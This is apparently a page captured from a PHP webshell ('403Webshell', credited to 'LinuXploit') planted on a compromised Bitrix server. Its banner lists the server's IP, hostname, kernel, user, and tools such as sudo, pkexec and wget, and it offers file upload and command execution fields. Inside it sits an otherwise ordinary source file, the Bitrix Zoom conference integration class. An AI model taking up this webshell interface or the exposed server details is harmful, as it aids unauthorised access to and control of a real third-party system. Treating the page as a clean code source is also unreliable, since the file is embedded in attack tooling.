403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/socialservices/lib/integration/zoom/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/socialservices/lib/integration/zoom/conference.php
<?php


namespace Bitrix\SocialServices\Integration\Zoom;

use Bitrix\Main\Error;
use Bitrix\Main\Loader;
use Bitrix\Main\Result;
use Bitrix\Main\Type\DateTime;
use Bitrix\Socialservices\ZoomMeetingRecordingTable;
use Bitrix\Socialservices\ZoomMeetingTable;

class Conference
{
	public const MEETING_SCHEDULED_TYPE = 2;
	public const ACTIVITY_ENTITY_TYPE = 'activity';
	public const ZOOM_AUDIO_ONLY = 'audio_only';

	public static function isAvailable(): bool
	{
		if (!Loader::includeModule('bitrix24'))
		{
			return false;
		}

		$authManager = new \CSocServAuthManager();
		if (!$authManager->isActiveAuthService('zoom'))
		{
			return false;
		}

		return \Bitrix\Bitrix24\Feature::isFeatureEnabled("crm_zoom_integration");
	}

	public static function create($userId, $data): Result
	{
		$result = new Result();
		$preparedDataResult = self::prepareConferenceParams($data);
		if (!$preparedDataResult->isSuccess())
		{
			return $result->addErrors($preparedDataResult->getErrors());
		}

		$preparedData = $preparedDataResult->getData();
		$zoomOAuth = new \CSocServZoom($userId);
		$createResult = $zoomOAuth->createConference($preparedData);
		if(!$createResult->isSuccess())
		{
			return $result->addErrors($createResult->getErrors());
		}

		return $createResult;
	}

	public static function update(int $userId, array $updateParams): Result
	{
		$result = new Result();
		if (!Loader::includeModule('socialservices'))
		{
			return $result->addError(new Error('Socialservices module is not installed'));
		}

		$zoomOAuth = new \CSocServZoom($userId);
		$updateResult = $zoomOAuth->updateConference($updateParams);

		if (!$updateResult->isSuccess())
		{
			return $result->addErrors($updateResult->getErrors());
		}
		$conferenceData = $updateResult->getData();

		return $result->setData($conferenceData);
	}

	public static function delete(int $conferenceId): Result
	{
		$result = new Result();

		if ($conferenceId <= 0)
		{
			return $result->addError(new Error('Incorrect conference id'));
		}

		$deleteResult = ZoomMeetingTable::delete($conferenceId);
		if (!$deleteResult->isSuccess())
		{
			return $result->addErrors($deleteResult->getErrors());
		}

		$deleteRecordingsResult = Recording::delete($conferenceId);
		if (!$deleteRecordingsResult->isSuccess())
		{
			return $result->addErrors($deleteRecordingsResult->getErrors());
		}

		return $result;
	}

	private static function prepareConferenceParams(array $data): Result
	{
		$result = new Result();

		if (empty($data['conferenceTitle']))
		{
			$result->addError(new Error('Invalid entity type'));
		}

		$timestampStart = $data['timestampStart'] / 1000;
		if ($timestampStart < time())
		{
			$result->addError(new Error('Invalid date'));
		}

		$data['duration'] = (int)$data['duration'];
		if ($data['duration'] <= 0)
		{
			$result->addError(new Error('Invalid duration'));
		}

		if (!$result->isSuccess())
		{
			return $result;
		}

		$dateTimeStart = \Bitrix\Main\Type\DateTime::createFromTimestamp($timestampStart);
		$data['start_time'] = $dateTimeStart->setTimeZone(new \DateTimeZone('UTC'))->format(DATE_ATOM);

		if ($data['durationType'] === 'h')
		{
			$data['duration'] *= 60;
		}

		$randomSequence = new \Bitrix\Main\Type\RandomSequence($data['conferenceTitle'].$data['start_time']);
		$password = $randomSequence->randString(10);

		$result->setData([
			'topic' => $data['conferenceTitle'],
			'type' => self::MEETING_SCHEDULED_TYPE,
			'start_time' => $data['start_time'],
			'duration' => $data['duration'],
			'password' => $password,
			'timezone' => 'UTC',
		]);

		return $result;
	}

	public static function getInfo($conferenceId): Result
	{
		$result = new Result();

		$conferenceRecord = ZoomMeetingTable::getRowByExternalId($conferenceId);
		if (!empty($conferenceRecord))
		{
			$result->setData($conferenceRecord);
		}
		else
		{
			$result->addError(new Error('No conference data'));
		}

		return $result;
	}

	public static function setJoin(int $conferenceId): Result
	{
		$result = new Result();

		$params = [
			'JOINED' => true,
		];

		$getListResult = ZoomMeetingTable::getList([
			'filter' => [
				'=CONFERENCE_EXTERNAL_ID' => $conferenceId,
				'!=JOINED' => 'Y',
			],
			'select' => ['ENTITY_ID','ENTITY_TYPE_ID','ID']
		]);

		if ($meeting = $getListResult->fetch())
		{
			$updateResult = ZoomMeetingTable::update($meeting['ID'], $params);
			if (!$updateResult->isSuccess())
			{
				$result->addError(new Error('Error while update join status.'));
			}
			if ($updateResult->isSuccess() && $updateResult->getAffectedRowsCount() === 0)
			{
				$result->addError(new Error('Error: status has already been updated.'));
			}

			$result->setData($meeting);
		}
		else
		{
			$result->addError(new Error('No conference to update'));
		}


		return $result;
	}

	public static function setEnd(int $conferenceId): Result
	{
		$result = new Result();

		$params = [
			'CONFERENCE_ENDED' => (new DateTime()),
		];

		$meeting = ZoomMeetingTable::getRowByExternalId($conferenceId);
		if (!$meeting)
		{
			return $result->addError(new Error("Meeting {$conferenceId} is not found"));
		}
		$updateResult = ZoomMeetingTable::update($meeting['ID'], $params);
		if (!$updateResult->isSuccess())
		{
			$result->addError(new Error('Error while update end status.'));
		}
		else
		{
			$result->setData($meeting);
		}

		return $result;
	}


	public static function bindActivity(array $conferenceData, int $activityId): Result
	{
		$result = new Result();
		if (!Loader::includeModule('socialservices'))
		{
			return $result->addError(new Error('Module socialservices is not installed.'));
		}

		$conferenceInfo = self::getInfo($conferenceData['id']);
		if ($conferenceInfo->isSuccess())
		{
			$conference = $conferenceInfo->getData();
			$params = [
				'ENTITY_TYPE_ID' => self::ACTIVITY_ENTITY_TYPE,
				'ENTITY_ID' => $activityId,
			];

			$result = ZoomMeetingTable::update($conference['ID'], $params);
			if (!$result->isSuccess())
			{
				$result->addError(new Error('Error while saving new zoom conference.'));
			}
		}
		else
		{
			$result->addError(new Error('Could not get conference info'));
		}

		return $result;
	}

	/**
	 * @param int $conferenceId
	 * @param $recordingsData
	 * @param $downloadToken
	 * @return Result
	 * @throws \Bitrix\Main\LoaderException
	 */
	public static function saveRecordings(int $conferenceId, array $recordingsData, $downloadToken): Result
	{
		$result = new Result();
		if (!Loader::includeModule('socialservices'))
		{
			return $result->addError(new Error('Module socialservices is not installed.'));
		}

		if (!is_array($recordingsData['recording_files']))
		{
			return $result->addError(new Error('Error: recording_files key is not found in recording data'));
		}

		$meeting = ZoomMeetingTable::getRowByExternalId($conferenceId);
		if (!$meeting)
		{
			return $result->addError(new Error("Meeting {$conferenceId} is not found"));
		}
		$meetingId = $meeting['ID'];
		if ($meeting['HAS_RECORDING'] !== 'Y')
		{
			ZoomMeetingTable::update($meetingId, [
				'HAS_RECODING' => 'Y'
			]);
		}
		$crmInstalled = Loader::includeModule('crm');

		foreach ($recordingsData['recording_files'] as $record)
		{
			$startDateTimestamp = \DateTime::createFromFormat(DATE_ATOM, $record['recording_start'])->getTimestamp();
			$endDateTimestamp = \DateTime::createFromFormat(DATE_ATOM, $record['recording_end'])->getTimestamp();

			$recordFields = [
				'EXTERNAL_ID' => $record['id'],
				'MEETING_ID' => $meetingId, //?
				'START_DATE' => DateTime::createFromTimestamp($startDateTimestamp),
				'END_DATE' => DateTime::createFromTimestamp($endDateTimestamp),
				'FILE_TYPE' => $record['file_type'],
				'FILE_SIZE' => (int)$record['file_size'],
				'PLAY_URL' => $record['play_url'],
				'DOWNLOAD_URL' => $record['download_url'],
				'RECORDING_TYPE' => $record['recording_type'],
				'DOWNLOAD_TOKEN' => $downloadToken,
				'PASSWORD' => $recordingsData['password']
			];

			$addResult = ZoomMeetingRecordingTable::add($recordFields);
			if (!$addResult->isSuccess())
			{
				return $result->addErrors($addResult->getErrors());
			}
			$recordingId = $addResult->getId();
			if($crmInstalled && $meeting['ENTITY_TYPE_ID'] === static::ACTIVITY_ENTITY_TYPE && $meeting['ENTITY_ID'] > 0)
			{
				$activityId = (int)$meeting['ENTITY_ID'];
				if ($record['recording_type'] === static::ZOOM_AUDIO_ONLY)
				{
					DownloadAgent::scheduleDownload($activityId, $recordingId);
				}
			}
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit